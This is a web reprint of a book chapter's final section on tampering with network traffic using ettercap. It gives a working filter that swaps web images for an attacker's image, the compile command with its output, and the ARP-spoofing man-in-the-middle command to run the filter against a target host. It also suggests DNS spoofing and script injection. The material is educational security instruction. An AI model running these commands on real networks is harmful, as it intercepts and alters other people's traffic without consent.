Security
  Home arrow Security arrow Page 6 - LAN Reconnaissance
Dev Shed Forums  
Administration  
AJAX  
Apache  
BrainDump  
DHTML  
Flash  
Java  
JavaScript  
Multimedia  
MySQL  
Oracle  
Perl  
PHP  
Practices  
Python  
Reviews  
Security  
Smartphone Development  
Style-Sheets  
Web Services  
XML  
Zend  
Zope  
Mobile Linux  
App Generation ROI  
IBM® developerWorks  
Forums Sitemap  
E-Commerce Hosting  
Linux Web Hosting  
Managed Hosting  
Small Business Hosting  
VPS Hosting  
Weekly Newsletter

 
Developer Updates  
Free Website Content 
 RSS  Articles
 RSS  Forums
 RSS  All Feeds
Write For Us Get Paid  
Request Media Kit
Contact Us  
Site Map  
Privacy Policy  
Support  
 USERNAME
 
 PASSWORD
 
 
  >>> SIGN UP!  
  Lost Password? 
Google.com  
SECURITY

LAN Reconnaissance
By: O'Reilly Media
  • Search For More Articles!
  • Disclaimer
  • Author Terms
  • Rating: starstarstarstarstar / 4
    2008-11-13


    Table of Contents:
  • LAN Reconnaissance
  • 4.1 Mapping the LAN
  • 4.2 Using ettercap and arpspoof on a Switched Network
  • 4.3 Dealing with Static ARP Tables
  • 4.4 Getting Information from the LAN
  • 4.5 Manipulating Packet Data

  • Rate this Article: Poor Best 
      ADD THIS ARTICLE TO:
      error-file:tidyout.log Del.ici.ous error-file:tidyout.log Digg
      error-file:tidyout.log Blink error-file:tidyout.log Simpy
      error-file:tidyout.log Google error-file:tidyout.log Spurl
      error-file:tidyout.log Y! MyWeb error-file:tidyout.log Furl
    Email Me Similar Content When Posted
    Add Developer Shed Article Feed To Your Site
    Email Article To Friend
    Print Version Of Article
    PDF Version Of Article

     
     
    ADVERTISEMENT


    LAN Reconnaissance - 4.5 Manipulating Packet Data
    ( Page 6 of 6 )

    Sniffing packets is interesting in its own right, but being able to actually change the data inside a packet and send it on its way without the originator’s knowledge is really cool. One of the neatest things ettercap can do is modify data inside a packet on the fly. Since ettercap was designed from the start to act as a man-in-the-middle, it is in a prime location to alter packets passing between two hosts and launch attacks by inspecting and injecting data. So you can do something juvenile such as denying service to a host by sending reset packets into a session or inserting dirty words into someone’s AIM chat. You can launch far more devious and dangerous attacks such as spoof DNS replies and send victims to hosts of your choice. Or inject HTML or JavaScript into web pages and make fun things happen to a client browser.

    ettercap allows you to create a series of filters to find the bytes you want to alter, and then provides a way to easily replace information with whatever you want. Other on-the-fly packet manipulation programs—for example, airpwn—allow the same kind of manipulation. See Chapter 8 for more information on airpwn.

    Creating an ettercap filter is pretty straightforward. You decide what data you want to replace and with what. A fun and common scenario is to replace web images with some image of your choosing. In this example, I’m going to replace any image with my own image called OWNED.gif, which is shown in Figure 4-5.


    Figure 4-5.  This should let the user know that something is different

    First of all, let’s make a filter. Fire up your favorite text editor and create a newfile called owned.filter:

      # owned.filter

      if (ip.proto == TCP && tcp.src == 80) {
         replace("img src=", "img src="http://skeena/OWNED.gif \ " ");
       msg("image replaced\n");
      }

    Then you need to compile the filter using ettercap’s filter compiler called, conve niently enough, etterfilter:

      skeena:~> etterfilter owned.filter -o owned.ef

    After running etterfilter, you should see the following output:

      etterfilter NG-0.7.3 copyright 2001-2004 ALoR & NaG A
       12 protocol tables loaded:
              DECODED DATA udp tcp gre icmp ip arp wifi fddi tr eth

       11 constants loaded:
              VRRP OSPF GRE UDP TCP ICMP6 ICMP PPTP PPPoE IP ARP

       Parsing source file 'owned.filter'  done.
       Unfolding the meta-tree  done.
       Converting labels to real offsets  done.
       Writing output to 'owned.ef'  done.
       -> Script encoded into 7 instructions.

    OK, so now let’s fire up ettercap and use it to run the filter:

      skeena:~> ettercap –Tq –I eth0 –F owned.ef –M ARP /10.157.6.3/ //

    See Figure 4-6 for an example. 

    Now, every time a packet traverses your sniffing machine, the frame containing img src= information will be rewritten and the string image replaced will appear as out put on the console. Now, this is pretty imperfect, since it requires that whoever


    Figure 4-6.  Now that should get someone's attention!

    wrote the web page you’re trying to muck with always writes <img src=someimage> or the like, which is of course not always the case. Many people write
    <img align="top" height="128" src="foo"> and so forth. Since protocols such as HTML allowyou to put many different elements in different order, your filter won’t work on 100 percent of the web pages out there. But at least you have a good idea as to what’s required to write a filter.

    As a last footnote to end this chapter, there’s an excellent tutorial about filter writing at http://www.irongeek.com/i.php?page=security/ettercapfilter



     
     
    >>> More Security Articles          >>> More By O'Reilly Media
     

       

    SECURITY ARTICLES

    - Critical Microsoft Visual Studio Security Pa...
    - US Faces Tech Security Expert Deficit
    - LAN Reconnaissance
    - An Epilogue to Cryptography
    - A Sequel to Cryptography
    - An Introduction to Cryptography
    - Security Overview
    - Network Security Assessment
    - Firewalls
    - What’s behind the curtain? Part II
    - What’s behind the curtain? Part I
    - Vectors
    - PKI: Looking at the Risks
    - A Quick Look at Cross Site Scripting
    - PKI Architectures: How to Choose One





    © 2003-2009 by Developer Shed. All rights reserved. DS Cluster 1 Hosted by Hostway
    For more Enterprise Application Development news, visit eWeek